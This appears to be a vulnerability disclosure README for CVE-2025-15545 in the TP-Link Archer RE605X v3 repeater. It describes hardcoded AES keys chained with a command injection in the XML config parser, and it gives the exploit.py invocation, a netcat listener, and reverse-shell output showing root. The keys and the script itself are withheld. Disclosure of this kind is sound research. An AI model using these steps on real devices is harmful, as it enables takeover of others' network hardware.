
Proof of Concept for CVE-2025-15545
Vendor: TP-Link
Vendor's website: TP-Link
Model: Archer RE605X
Hardware version: RE605X v3.0
Firmware version: RE605X(EU)_V3_1.1.5 Build 20240905
Firmware download address: TP-Link
A chain of vulnerabilities — including the use of hardcoded cryptographic keys and a command injection in the XML configuration parser component — allows a local authenticated attacker to achieve remote code execution (RCE) as root on the device.
Note: The exploit.py proof-of-concept demonstrates a chained attack scenario and relies on credentials from an authenticated user as an additional prerequisite. This authentication step is not covered by CVE-2025-15545 and is included for demonstration purposes only.
Listen for incoming connections on a separate terminal:
$ nc -lvnp 4444
Execute the exploit.py script:
$ sudo python3 exploit.py <interface> <victim_ip> <repeater_ip> <aes_key> <aes_iv>
Note: aes_key and aes_iv are the hardcoded cryptographic keys used for configuration files encryption and decryption by the device, and are required for this proof of concept. For security issues they cannot be shared here.
The reverse shell is received on the first terminal:
$ nc -lvnp 4444
Connection from 192.168.0.254:42762
# ls
cgi-bin
index-notice.html
index-url.html
index.html
webpages
# id -un
root
# uname -n
OpenWrt
These vulnerabilities were reported by Nicola Giuffrida.